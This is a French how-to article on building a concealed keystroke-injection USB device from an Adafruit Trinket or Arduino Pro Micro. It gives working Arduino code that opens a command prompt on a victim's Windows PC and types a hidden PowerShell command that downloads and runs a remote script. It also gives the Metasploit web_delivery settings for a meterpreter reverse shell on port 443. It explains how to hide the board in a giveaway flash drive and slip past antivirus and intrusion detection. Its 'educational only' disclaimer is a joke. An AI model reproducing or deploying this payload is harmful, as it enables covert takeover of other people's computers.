
Commençons par le traditionnel «Ce matériel est présenté à des fins éducatives uniquement». Si vous utilisez ces informations pour pirater HBO et libérer la prochaine saison de Game of Thrones gratuitement sur YouTube, eh bien ... génial. En ce sens que je n'encourage pas un tel comportement.
Si vous ne savez pas ce qu'est un «Rubber Ducky» (USB Rubber Ducky), c'est l'
appareil que Hak5 a fabriqué sur la photo. Il ressemble et se comporte comme un lecteur flash ordinaire, mais il peut être programmé pour entrer les touches du clavier très rapidement. "Duck" est capable de casser n'importe quel système en quelques secondes. Le seul inconvénient est que vous aurez besoin d'un accès physique à l'ordinateur. Et cela coûte également 50 $, c'est pourquoi j'ai écrit cet article.
Nous utilisons un bijou Adafruit 5V et un câble microUSB - c'est tout ce dont nous avons besoin.
Heureusement, Adafruit fournit une bibliothèque pour l'interface du clavier via USB, alors faites immédiatement
#include
. Vous devrez installer la bibliothèque en suivant
ces instructions.
#include <TrinketKeyboard.h>
Nous pouvons jouer avec la bibliothèque pour commencer, commençons par initialiser le lecteur flash en tant que périphérique HID en utilisant la méthode begin ().
#include <TrinketKeyboard.h> void setup() { TrinketKeyboard.begin(); } void loop() { TrinketKeyboard.print("Help, I am trapped in a computer! \n"); delay(500); }

Ça a l'air bien. Exécutez maintenant les commandes sur l'ordinateur de la victime. Cela peut être fait en "appuyant" sur la touche Windows en tapant cmd, Entrée, puis la commande elle-même.
#include <TrinketKeyboard.h> void pressEnter() { TrinketKeyboard.pressKey(0, 0x28); delay(10); TrinketKeyboard.pressKey(0,0); delay(300); } void winRun() { TrinketKeyboard.pressKey(0x08, 0x15); delay(30); TrinketKeyboard.pressKey(0,0); } void setup() { TrinketKeyboard.begin(); delay(1000); winRun(); delay(100); winRun(); delay(300); // Run cmd TrinketKeyboard.print("cmd"); pressEnter(); delay(500); TrinketKeyboard.print("ipconfig"); delay(100); pressEnter(); }
Super. Créons un exploit dans le framework Metasploit.
Nous utiliserons le module
web_delivery . Je l'ai choisi en raison de la vitesse élevée et de la faible probabilité de fonctionnement de l'antivirus. Il n'écrit également rien sur le disque, il ne laissera donc aucune trace à la fin du travail.
Ici, nous cassons le Windows 10 64 bits, nous allons donc cibler PowerShell, mais gardez à l'esprit que cela n'exploitera pas contre PowerShell. Nous utilisons simplement le shell pour télécharger les fichiers nécessaires depuis le serveur.
use exploit/multi/script/web_delivery
Nous devons indiquer à notre programme où obtenir les fichiers binaires:
set LHOST 1.2.3.4
Ensuite, indiquez le port qui ne provoquera pas de suspicion, qu'en est-il du 443? ;)
set LPORT 443
Metasploit génère un URIPATH aléatoire à chaque fois, et nous voulons pouvoir démarrer et arrêter l'écoute sur le port à tout moment sans avoir à recompiler le code du lecteur flash.
set URIPATH /
Vous devez maintenant sélectionner Powershell comme méthode de livraison. L'exploit prend en charge trois cibles marquées d'identificateurs: ce sont 0: Python, 1: PHP et 2: Powershell.
set TARGET 2
Réglez maintenant la charge utile. J'utilise reverse_https, car nous travaillons sur le 443e port. Pour la plupart des systèmes de détection d'intrusion, cela ressemblera à une connexion régulière.
set PAYLOAD windows/meterpreter/reverse_https
Et enfin
exploit
.
Pour arrêter et reprendre facilement l'écoute du port, créez un fichier de configuration: usb.rc.
use exploit/multi/script/web_delivery
set LHOST 1.2.3.4
set LPORT 443
set URIPATH /
set TARGET 2
set PAYLOAD windows/meterpreter/reverse_https
exploit
Nous obtenons la charge utile à exécuter sur l'ordinateur de la victime:
powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=[Net.WebRequest]::GetSystemWebProxy();$N.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $N.downloadstring('http://1.2.3.4:8080/');
Maintenant, nous pouvons l'exécuter à partir d'un lecteur flash.
#include <TrinketKeyboard.h> void pressEnter() { TrinketKeyboard.pressKey(0, 0x28); delay(10); TrinketKeyboard.pressKey(0,0); delay(300); } void winRun() { TrinketKeyboard.pressKey(0x08, 0x15); delay(30); TrinketKeyboard.pressKey(0,0); } void setup() { TrinketKeyboard.begin(); delay(1000); winRun(); delay(100); winRun(); delay(300); // Run cmd TrinketKeyboard.print("cmd"); pressEnter(); delay(500); TrinketKeyboard.print("powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=[Net.WebRequest]::GetSystemWebProxy();$N.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $N.downloadstring('http://1.2.3.4:8080/');"); delay(100); pressEnter(); } void loop() { // nothing happens after setup }
Cela fonctionne très bien. Il nous faut environ 40 secondes pour baiser Daenerys, je veux dire l'ordinateur de la victime.

En raison de la puissance limitée du "canard", le chargeur de démarrage n'est pas toujours disponible, comme dans l'Arduino habituel, vous ne pouvez télécharger le code que lorsque vous appuyez sur le bouton de la clé USB ou pendant les 30 premières secondes de fonctionnement. Autrement dit, les 30 premières secondes après la connexion du lecteur flash, nous attendons que le code fonctionne vraiment, puis encore 10 secondes pour taper et exécuter le script. Il serait très utile de réduire le temps d'accès de 75%.
Ce brave homme a édité le firmware pour ignorer le chargeur de démarrage lorsqu'il est connecté. Nous avons pris le code et reflasher le lecteur flash, rechargé le code et ainsi de suite - tout fonctionne. Mais vous pouvez faire encore mieux: ce serait bien de cacher la puce dans le boîtier pour ne pas créer de suspicion.
J'ai sélectionné l'un de ces lecteurs flash USB discrets qui sont distribués par des millions de recruteurs et j'ai commandé
ces petits adaptateurs microUSB OTG - USB A. J'ai dû couper les parties inutiles de la carte de circuit imprimé pour qu'elle rentre dans le boîtier, mettre l'adaptateur OTG dans le boîtier USB A et tout collé avec superglue. Cela ne me semble pas du tout suspect, mais encore 10 secondes est un temps considérable, surtout lorsque vous vous cachez des dragons.

Vous pouvez également commander l'Arduino Pro Micro sur Amazon pour environ 10 $. Si vous avez de la patience, vous pouvez même le trouver sur eBay pour environ 3 $ ou 4 $. Je n'avais pas de grande clé USB pour le Pro Micro, j'ai donc branché l'adaptateur OTG, l'ai rembobiné avec du ruban électrique et me suis calmé.

Nous devons changer un peu le programme, car nous utilisons une bibliothèque différente, mais cela fonctionnera comme avant.
#include "Keyboard.h" void winRun() { Keyboard.press(KEY_LEFT_GUI); Keyboard.press('r'); delay(30); Keyboard.releaseAll(); delay(100); } void setup() { Keyboard.begin(); delay(2000); winRun(); Keyboard.println("cmd"); Keyboard.write(KEY_RETURN); delay(500); Keyboard.println("powershell.exe -nop -w hidden -c $C=new-object net.webclient;$C.proxy=[Net.WebRequest]::GetSystemWebProxy();$C.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $C.downloadstring('http://1.2.3.4:8080/');"); Keyboard.write(KEY_RETURN); } void loop() {
Le plus grand avantage de Pro Micro est sa vitesse. Maintenant, nous n'avons besoin que de 3 secondes d'accès physique. Une véritable attaque sur le pouce. Si vous avez l'intention d'utiliser cette force, faites-le pour une bonne cause. Tuez Cersei.